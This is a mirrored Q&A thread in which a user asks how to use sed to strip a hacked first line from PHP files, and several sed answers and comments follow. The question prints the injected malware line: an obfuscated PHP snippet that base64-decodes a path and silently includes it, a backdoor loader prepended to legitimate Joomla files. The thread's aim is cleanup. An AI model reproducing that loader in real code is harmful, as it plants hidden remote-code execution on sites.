【问题标题】:Remove the first line with sed with a regular expression [duplicate]使用正则表达式删除 sed 的第一行 [重复]
【发布时间】:2013-02-13 12:13:00
【问题描述】:

我想删除与下一个 grep 命令匹配的所有文件中的第一行:

grep -Rl '<\?php /\* <!-----.*/\?>' ./

这些文件被黑了,我想删除这一行。 我尝试了几个带有“sed”的命令,但没有结果,命令如下:

sed 's/<\?php /\* <!-----.*/\?>//g' ./*

谢谢,最好的问候。

编辑。示例:

<?php /* <!-----sSMiRuomIZgafwAFrWqzLk-----> */ $SVjFIagfCmbDNLrO = base64_decode("L2hvbWUvZmVybmFuNi9wdWJsaWNfaHRtbC9QSFBMaXN0L2FkbWluL0ZDS2VkaXRvci9lZGl0b3IvZGlhbG9nL2Zja19zcGVsbGVycGFnZXMvc3BlbGxlcnBhZ2VzL3NlcnZlci1zY3JpcHRzLzIzMWE5ZDFhMGVmODM1NTEwNjdhMTY1YmU3ZmI4M2Zka2l4b3JscXZ1YiawaHX=");  @include_once $SVjFIagfCmbDNLrO;/* <!-----sSMiRuomIZgafwAFrWqzLk-----> */?><?php
defined('_JEXEC') or die('Direct Access to this location is not allowed.');

/**

只有从&lt;?php /*.... 删除到*/?&gt;

【问题讨论】:

  • 请注意,星号 (*) 也是一个量词。以下正则表达式在这里工作:sed '1 s/&lt;?php.*\*\/?&gt;//'.

标签: linux sed grep


【解决方案1】:

你想要的是:

sed -i.ORIG '1 { /YOUR_REGEX_PATTERN/d ; }' INPUTFILES*

这仅在第一行运行,如果它与您的模式匹配,则将其删除(原地,并以.ORIG 扩展名备份原始文件)。

更新:

如果您只想删除第一行的某些部分:

sed -i.ORIG '1 { /YOUR_REGEX_PATTERN/s/YOUR_REGEX_PATTERN// ; }' INPUTFILES*

你的情况可能是:

sed -i.ORIG '1 { /<?php \/\*.*\/?>/s_<?php /\*.*<?php_<?php_ ; }' INPUTFILES*

但这仅在某些情况下有效...例如&lt;?php 可能出现在编码字符串部分......(可能出现......)。并且 sed 不支持非贪婪和/或前瞻、后瞻正则表达式...

【讨论】:

  • 我试过: sed -i.ORIG '1 { //d ; }' example.php 终端显示: sed: -e expression #1, char 14: unknown command: `\'
  • @Carlos:您需要转义模式中的斜线 (/)。转义的问号被解释为量词,因此您还应该将\? 替换为?。
  • @Thor 谢谢,现在可以使用,但它也会删除第一行中的其他字符。在我的情况下是: ' */?>
  • @Carlos:为您的问题添加一些示例输入和预期输出。
  • @Thor 在主要问题中我写了一个例子。
猜你喜欢
  • 1970-01-01
  • 2012-06-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2011-06-02
相关资源
最近更新 更多